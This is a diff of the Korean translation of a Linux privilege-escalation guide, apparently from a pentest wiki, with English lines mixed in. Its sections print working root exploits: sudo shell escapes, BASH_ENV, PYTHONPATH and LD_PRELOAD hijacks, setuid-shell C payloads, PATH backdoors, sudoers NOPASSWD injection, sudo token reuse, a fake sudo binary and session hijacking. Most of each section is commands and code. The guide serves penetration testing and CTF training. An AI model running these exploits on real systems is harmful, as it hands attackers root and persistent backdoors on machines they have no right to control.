추가하거나 `sh`를 호출해 shell을 얻는 것은 간단합니다. +이 예제에서 사용자 `demo`는 `root` 권한으로 `vim`을 실행할 수 있으므로, 루트 디렉터리에 ssh key를 추가하거나 `sh`를 호출해 shell을 얻는 것은 이제 간단합니다. ``` sudo vim -c '!sh' ``` ### SETENV -이 지시문은 사용자가 무언가를 실행하는 동안 **환경 변수를 설정**할 수 있게 합니다: +이 지시문은 사용자가 어떤 것을 실행할 때 **환경 변수를 설정할 수 있도록** 합니다: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -이 예제(**based on HTB machine Admirer**)는 스크립트를 root로 실행하는 동안 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **vulnerable** 상태였습니다: +이 예제, **based on HTB machine Admirer**, 는 루트 권한으로 스크립트를 실행하는 동안 임의의 python 라이브러리를 로드하기 위해 **PYTHONPATH hijacking**에 **취약**했습니다: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 실행 경로 우회 +### BASH_ENV preserved via sudo env_keep → root shell -**Jump**를 이용해 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. + +- Why it works: 비대화식 shell의 경우, Bash는 `$BASH_ENV`를 평가하고 대상 script을 실행하기 전에 해당 파일을 source합니다. 많은 sudo 규칙이 script 또는 shell wrapper를 실행하도록 허용합니다. `BASH_ENV`가 sudo에 의해 보존되면, 당신의 파일은 root 권한으로 소스됩니다. + +- Requirements: +- 실행 가능한 sudo 규칙(비대화식으로 `/bin/bash`를 호출하는 대상이나, 어떤 bash script). +- `BASH_ENV`가 `env_keep`에 포함되어 있는지 (`sudo -l`로 확인). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- 보안 강화: +- `env_keep`에서 `BASH_ENV` (및 `ENV`)를 제거하고, `env_reset`을 권장합니다. +- sudo 허용 명령에 대해 shell wrapper를 피하고, 최소한의 바이너리를 사용하세요. +- 보존된 env vars가 사용될 때 sudo I/O 로깅 및 알림을 고려하세요. + +### Sudo 실행 우회 경로 + +**Jump**를 이용해 다른 파일을 읽거나 **symlinks**를 사용하세요. 예를 들어 sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -779,50 +808,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -만약 **wildcard**가 사용된다면 (\*), 훨씬 더 쉽습니다: +만약 **wildcard**가 사용된다면 (\*) 더 쉬워집니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary (명령 경로 미지정) +### Sudo command/SUID binary 명령 경로 없이 -만약 단일 명령에 대해 **sudo permission**이 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있다. +만약 **sudo permission**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -이 기법은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행하는 경우(항상 _**strings**_ 로 이상한 SUID 바이너리의 내용을 확인하세요)**에도 사용할 수 있습니다. +이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 경우(항상 _**strings**_ 로 이상한 SUID 바이너리의 내용을 확인하세요)**에도 사용할 수 있습니다. [Payload examples to execute.](payloads-to-execute.md) -### 명령 경로가 있는 SUID 바이너리 +### SUID 바이너리: 명령 경로가 지정된 경우 -만약 **suid** 바이너리가 **경로를 지정해서 다른 명령을 실행한다면**, suid 파일이 호출하는 명령 이름으로 **export a function** 을 시도해볼 수 있습니다. +만약 **suid** 바이너리가 **경로를 명시하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령 이름으로 **export a function**을 시도해볼 수 있습니다. -예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 이름의 함수를 생성하고 export 해야 합니다: +예를 들어, 만약 suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 명령 이름으로 함수를 생성하고 export 해야 합니다: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, when you call the suid binary, this function will be executed +그런 다음 suid 바이너리를 호출하면 이 함수가 실행됩니다 ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 환경 변수는 표준 C 라이브러리(`libc.so`)를 포함한 다른 모든 것보다 먼저 loader가 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정을 라이브러리 사전 로드(preloading)라고 합니다. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +그러나 이 기능이 악용되는 것을 방지하고 시스템 보안을 유지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 몇 가지 조건을 강제합니다: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. +- real user ID (_ruid_)가 effective user ID (_euid_)와 일치하지 않는 실행 파일에 대해서는 loader가 **LD_PRELOAD**를 무시합니다. +- suid/sgid가 설정된 실행 파일의 경우, 사전 로드되는 라이브러리는 표준 경로에 있고 또한 suid/sgid인 라이브러리로만 제한됩니다. -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +Privilege escalation은 `sudo`로 명령을 실행할 수 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD**가 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 `sudo`로 명령을 실행할 때도 **LD_PRELOAD** 환경 변수가 유지되고 인식되도록 허용하므로, 결과적으로 권한이 상승된 상태에서 임의의 코드가 실행될 가능성이 있습니다. ``` Defaults env_keep += LD_PRELOAD ``` -다음 경로로 저장: **/tmp/pe.c** +다음 이름으로 저장: **/tmp/pe.c** ```c #include #include @@ -835,17 +864,17 @@ setuid(0); system("/bin/bash"); } ``` -그런 다음 아래를 사용하여 **컴파일하세요:** +그런 다음 다음 명령으로 **컴파일하세요:** ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -마지막으로, **escalate privileges**를 실행 +마지막으로, **escalate privileges**를 실행하여 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 유사한 privesc는 공격자가 **LD_LIBRARY_PATH** env variable을 제어하는 경우 악용될 수 있습니다. 이는 공격자가 라이브러리가 검색될 경로를 제어하기 때문입니다. +> 비슷한 privesc는 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어할 경우 악용될 수 있습니다. 이는 그가 라이브러리를 검색할 경로를 제어하기 때문입니다. ```c #include #include @@ -867,13 +896,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 만났을 때, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령어를 실행하여 확인할 수 있습니다: +비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견하면, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 이는 다음 명령어를 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -예를 들어 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면, 악용 가능성이 있음을 시사한다. +예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면 잠재적인 exploit 가능성이 있습니다. -이를 악용하려면 _"/path/to/.config/libcalc.c"_ 같은 C 파일을 생성하고, 다음 코드를 포함시킨다: +이를 exploit하려면 _"/path/to/.config/libcalc.c"_ 같은 C 파일을 생성하고 다음 코드를 포함하면 됩니다: ```c #include #include @@ -884,13 +913,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한 상승된 쉘을 실행하여 권한을 상승시키는 것을 목표로 합니다. +이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 shell을 실행하여 권한을 획득하려고 합니다. -위의 C 파일을 공유 객체(.so) 파일로 컴파일하려면: +위의 C 파일을 shared object (.so) 파일로 컴파일하려면: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -마지막으로, 영향을 받은 SUID binary를 실행하면 exploit가 트리거되어 잠재적인 system compromise를 초래할 수 있습니다. +마지막으로, 영향을 받은 SUID binary를 실행하면 exploit가 발동하여 잠재적으로 시스템 침해가 발생할 수 있습니다. ## Shared Object Hijacking ```bash @@ -902,7 +931,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -이제 우리가 write할 수 있는 folder에서 library를 로드하는 SUID binary를 찾았으니, 해당 folder에 필요한 이름으로 library를 만들어 봅시다: +이제 우리가 쓸 수 있는 folder에서 library를 로드하는 SUID binary를 찾았으므로, 해당 folder에 필요한 이름으로 library를 생성합시다: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -915,17 +944,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -오류 메시지 전체를 붙여넣어 주세요. 현재 "If you get an error such as"까지만 제공되어 있어 번역할 수 없습니다. +다음과 같은 오류가 발생하면 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -즉, 생성한 라이브러리는 `a_function_name`이라는 함수를 포함해야 합니다. +that means that the library you have generated need to have a function called `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 는 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리의 큐레이션된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **only inject arguments**만 주입할 수 있는 경우를 위한 동일한 리소스입니다. +[**GTFOBins**](https://gtfobins.github.io) 은 공격자가 로컬 보안 제한을 우회하는 데 악용할 수 있는 Unix 바이너리의 선별 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/) 는 명령에 **인자만 주입**할 수 있는 경우에 대해 동일한 용도로 제공됩니다. -이 프로젝트는 Unix 바이너리의 합법적인 기능들을 수집하며, 이러한 기능들은 restricted shells에서 탈출하거나, 권한을 상승하거나 유지하거나, 파일을 전송하고, bind 및 reverse shells를 생성하며, 기타 post-exploitation tasks를 용이하게 하는 데 악용될 수 있습니다. +The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -944,22 +973,22 @@ https://gtfoargs.github.io/ ### FallOfSudo -만약 `sudo -l`에 접근할 수 있다면 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo)를 사용해 sudo 규칙을 어떻게 악용할 수 있는지 확인할 수 있습니다. +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. ### Reusing Sudo Tokens -비밀번호는 모르는 경우라도 **sudo access**가 있다면 sudo 명령의 실행을 기다렸다가 세션 토큰을 하이재킹하여 권한을 상승시킬 수 있습니다. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. Requirements to escalate privileges: -- 이미 _sampleuser_ 사용자로 쉘을 가지고 있어야 합니다 -- _sampleuser_는 **used `sudo`**하여 **last 15mins** 내에 무언가를 실행했어야 합니다 (기본적으로 이는 비밀번호 입력 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 유효 기간입니다) -- `cat /proc/sys/kernel/yama/ptrace_scope`가 0이어야 합니다 -- `gdb`에 접근할 수 있어야 합니다 (업로드할 수 있어야 함) +- You already have a shell as user "_sampleuser_" +- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) +- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 +- `gdb` is accessible (you can be able to upload it) -(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나, 영구적으로 설정하려면 `/etc/sysctl.d/10-ptrace.conf`를 수정하여 `kernel.yama.ptrace_scope = 0`으로 설정하세요) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -위 요구사항을 모두 만족하면, **다음 도구를 사용해 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash @@ -967,37 +996,37 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 두 번째 **exploit** (`exploit_v2.sh`)는 _/tmp_에 sh shell을 생성하며 **root가 소유하고 setuid가 설정된** 상태가 됩니다 +- **두 번째 exploit** (`exploit_v2.sh`)는 _/tmp_에 sh shell을 생성하여 **root 소유이며 setuid가 설정된** 상태로 만든다 ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **세 번째 exploit** (`exploit_v3.sh`)는 **sudoers file**을 생성하여 **sudo tokens**을 영구화하고 모든 사용자가 sudo를 사용할 수 있게 합니다 +- **세 번째 exploit** (`exploit_v3.sh`)는 **sudoers file**을 생성하여 **sudo tokens를 영구화하고 모든 사용자가 sudo를 사용할 수 있도록 허용합니다** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -해당 폴더 또는 폴더 안에 생성된 파일들 중 어느 것에든 **쓰기 권한**이 있다면, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용해 특정 사용자와 PID에 대한 **sudo 토큰을 생성할 수 있습니다**.\ -예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을 덮어쓸 수 있고 해당 사용자로 PID 1234인 shell을 가지고 있다면, 비밀번호를 알 필요 없이 다음과 같이 **sudo 권한을 얻을 수 있습니다**: +폴더 또는 그 안에 생성된 파일들 중 어느 것에든 **쓰기 권한**이 있다면, 바이너리 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)를 사용해 사용자와 PID에 대한 **sudo token을 생성**할 수 있습니다.\ +예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을 덮어쓸 수 있고 그 사용자로서 PID 1234인 셸이 있다면, 암호를 알 필요 없이 다음을 실행하여 **sudo privileges**를 얻을 수 있습니다: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -파일 `/etc/sudoers` 및 `/etc/sudoers.d` 안의 파일들은 누가 `sudo`를 어떻게 사용할 수 있는지를 설정합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\ -**만약** 이 파일을 **읽을** 수 있다면 **일부 흥미로운 정보를 얻을 수 있고**, 어떤 파일이라도 **쓸** 수 있다면 **escalate privileges** 할 수 있습니다. +파일 `/etc/sudoers` 및 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 사용 방식을 구성합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\ +**만약** 이 파일을 **읽을 수 있다면** 흥미로운 정보를 **얻을 수 있을 것이며**, 그리고 만약 어떤 파일에 **쓸 수 있다면** 당신은 **escalate privileges** 할 수 있습니다. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -쓰기 권한이 있으면 이 권한을 악용할 수 있습니다. +쓰기 권한이 있으면 이 권한을 악용할 수 있다. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -이 권한들을 악용하는 또 다른 방법: +이러한 권한을 악용하는 또 다른 방법: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1006,17 +1035,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD용 `doas`와 같은 `sudo` 바이너리에 대한 몇 가지 대안이 있으므로, `/etc/doas.conf`에서 구성을 확인하는 것을 잊지 마세요. +OpenBSD용 `doas` 등 `sudo` 바이너리를 대체하는 몇 가지 대안이 있으니, `/etc/doas.conf`에서 설정을 확인하세요. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -사용자가 보통 machine에 접속해 `sudo`로 권한을 상승시키고 해당 사용자 컨텍스트에서 shell을 얻었다면, 당신은 **새로운 sudo 실행 파일을 생성**해서 먼저 당신의 코드를 root로 실행한 다음 사용자의 명령을 실행하도록 만들 수 있습니다. 그런 다음 사용자 컨텍스트의 **$PATH를 수정**(예: .bash_profile에 새 경로를 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되게 합니다. +만약 **사용자가 일반적으로 머신에 접속해 `sudo`를 사용하여 권한을 상승시킨다는 것을 알고** 그리고 해당 사용자 컨텍스트에서 쉘을 획득했다면, 루트로 당신의 코드를 실행한 다음 사용자의 명령을 실행하는 **새로운 sudo 실행파일을 생성할 수 있습니다**. 그런 다음 사용자 컨텍스트의 **$PATH를 수정**(예: 새로운 경로를 `.bash_profile`에 추가)하여 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행되도록 합니다. -사용자가 다른 shell(예: bash가 아닌)을 사용하면 새 경로를 추가하기 위해 다른 파일들을 수정해야 합니다. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`을 수정합니다. 다른 예제는 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 찾을 수 있습니다 +사용자가 다른 쉘 (not bash)을 사용하는 경우, 새 경로를 추가하기 위해 다른 파일들을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -또는 다음과 같이 실행: +또는 다음과 같이 실행할 수 있습니다: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib를 `/var/tmp/flag15/`에 복사하면 `RPATH` 변수에 지정된 대로 해당 위치에서 프로그램에 의해 사용됩니다. +lib을 `/var/tmp/flag15/`로 복사하면 `RPATH` 변수에 지정된 대로 프로그램이 해당 위치의 lib을 사용합니다. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1080,9 +1108,9 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## 권한(Capabilities) -Linux capabilities는 프로세스에 이용 가능한 root 권한의 **subset**을 제공합니다. 이것은 root 권한을 **더 작고 구별되는 단위들로 분해**하는 효과를 냅니다. 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이 방식으로 전체 권한 집합이 축소되어 악용 위험이 감소합니다.\ +Linux capabilities는 **프로세스에 부여되는 root 권한의 하위 집합**을 제공합니다. 이는 root 권한을 **보다 작고 구분되는 단위들로 분할**하는 효과가 있습니다. 각 단위는 개별적으로 프로세스에 부여될 수 있습니다. 이렇게 전체 권한 집합이 축소되어 악용 위험이 줄어듭니다.\ 다음 페이지를 읽어 **capabilities와 이를 악용하는 방법**에 대해 더 알아보세요: @@ -1090,16 +1118,16 @@ Linux capabilities는 프로세스에 이용 가능한 root 권한의 **subset** linux-capabilities.md {{#endref}} -## Directory permissions +## 디렉터리 권한 -디렉토리에서, **"execute" 비트**는 해당 사용자가 폴더로 **"cd"** 할 수 있음을 의미합니다.\ -**"read"** 비트는 사용자가 **파일을 열람(list)** 할 수 있음을 의미하고, **"write"** 비트는 사용자가 **파일을 삭제(delete)** 하거나 새 **파일을 생성(create)** 할 수 있음을 의미합니다. +디렉터리에서 **"execute" 비트**는 해당 사용자가 폴더로 **"cd"** 할 수 있음을 의미합니다.\ +**"read"** 비트는 사용자가 **파일을 나열(list)**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **파일을 삭제(delete)**하거나 새 **파일을 생성(create)**할 수 있음을 의미합니다. ## ACLs -Access Control Lists (ACLs)는 임의 권한(discretionary permissions)의 2차 계층을 나타내며, 기존의 ugo/rwx permissions를 **overriding**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근 제어를 강화합니다. 이 수준의 **granularity는 보다 정밀한 접근 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요. +Access Control Lists (ACLs)는 임의 권한의 2차 계층을 나타내며, **전통적인 ugo/rwx 권한을 재정의(overriding)**할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않는 특정 사용자에게 권한을 허용하거나 거부함으로써 파일이나 디렉터리 접근을 더 정밀하게 제어할 수 있게 합니다. 이러한 **세분성(granularity)은 보다 정확한 액세스 관리를 보장**합니다. 자세한 내용은 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인하세요. -**Give** user "kali" read and write permissions over a file: +**부여** 사용자 "kali"에게 파일에 대한 읽기 및 쓰기 권한: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1110,14 +1138,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## shell 세션 열기 +## 열린 shell sessions -예전 버전에서는 다른 사용자(**root**)의 **shell** 세션을 **hijack**할 수 있습니다.\ -최신 버전에서는 **your own user**의 screen sessions에만 **connect**할 수 있습니다. 하지만 세션 내부에서 흥미로운 정보를 찾을 수 있습니다. +**이전 버전**에서는 다른 사용자(**root**)의 **shell** 세션 일부를 **hijack**할 수 있습니다.\ +**최신 버전**에서는 **자신의 계정**의 screen sessions에만 **connect**할 수 있습니다. 그러나 **세션 내부의 흥미로운 정보**를 찾을 수 있습니다. ### screen sessions hijacking -**screen sessions 나열** +**screen sessions 목록** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1130,9 +1158,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux 세션 탈취 +## tmux sessions hijacking -이 문제는 **오래된 tmux 버전**에서 발생했습니다. 비특권 사용자로서 root가 생성한 tmux (v2.1) 세션을 탈취할 수 없었습니다. +이 문제는 **구형 tmux 버전**에서 발생했습니다. root가 생성한 tmux (v2.1) 세션을 비특권 사용자로서 탈취할 수 없었습니다. **tmux 세션 나열** ```bash @@ -1158,27 +1186,27 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\ -이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생했으며, **가능한 변형이 32,768개에 불과했습니다**. 이는 모든 가능한 키 조합을 계산할 수 있다는 것을 의미하며, **ssh 공개키를 가지고 대응하는 개인키를 검색할 수 있습니다**. 계산된 가능한 키 목록은 다음에서 찾을 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006년 9월과 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키가 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 경우가 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh public key를 가지고 해당 private key를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 관련 주요 설정 값 +### SSH 흥미로운 설정 값 -- **PasswordAuthentication:** 패스워드 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. -- **PubkeyAuthentication:** 공개키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. -- **PermitEmptyPasswords**: 패스워드 인증이 허용될 때, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. +- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin -root가 ssh로 로그인할 수 있는지 여부를 지정합니다. 기본값은 `no`입니다. 가능한 값: +root가 ssh를 이용해 로그인할 수 있는지 여부를 지정하며, 기본값은 `no`입니다. 가능한 값: -- `yes`: root는 패스워드와 개인키로 로그인할 수 있습니다 -- `without-password` or `prohibit-password`: root는 개인키로만 로그인할 수 있습니다 -- `forced-commands-only`: root는 개인키로만 로그인할 수 있으며, 명령 옵션이 지정된 경우에만 가능합니다 -- `no` : 허용 안함 +- `yes`: root는 비밀번호와 private key를 사용해 로그인할 수 있습니다. +- `without-password` 또는 `prohibit-password`: root는 private key로만 로그인할 수 있습니다. +- `forced-commands-only`: root는 private key로만 로그인할 수 있고, 명령어 옵션이 지정된 경우에만 허용됩니다. +- `no`: 허용 안 함 ### AuthorizedKeysFile -사용자 인증에 사용될 공개키를 포함하는 파일을 지정합니다. `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉터리로 대체됩니다. **절대 경로** ( `/` 로 시작) 또는 **사용자 홈에서의 상대 경로**를 지정할 수 있습니다. 예: +사용자 인증에 사용될 수 있는 public keys가 포함된 파일을 지정합니다. `%h` 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 치환됩니다. **절대 경로를 지정할 수 있습니다** ( `/`로 시작) 또는 **사용자 홈에서의 상대 경로**. 예: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1186,7 +1214,7 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. +SSH agent forwarding은 서버에 (without passphrases!) 키를 남겨두지 않고 **use your local SSH keys instead of leaving keys** 할 수 있게 해줍니다. 따라서 ssh로 **to a host**로 **jump**한 뒤, 그곳에서 **initial host**에 위치한 **key**를 **using**하여 다른 호스트로 **jump to another**할 수 있습니다. You need to set this option in `$HOME/.ssh.config` like this: ``` @@ -1195,70 +1223,69 @@ ForwardAgent yes ``` Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -The file `/etc/ssh_config` can **옵션들**을 **재정의**하여 이 구성을 허용하거나 거부할 수 있습니다.\ -The file `/etc/sshd_config` can **허용**하거나 **거부**할 수 있으며 ssh-agent forwarding은 키워드 `AllowAgentForwarding`로 제어됩니다(기본값은 허용). +The file `/etc/ssh_config` can **옵션들**을 **덮어쓸** 수 있으며 이 구성을 허용하거나 거부할 수 있습니다.\ +The file `/etc/sshd_config` can 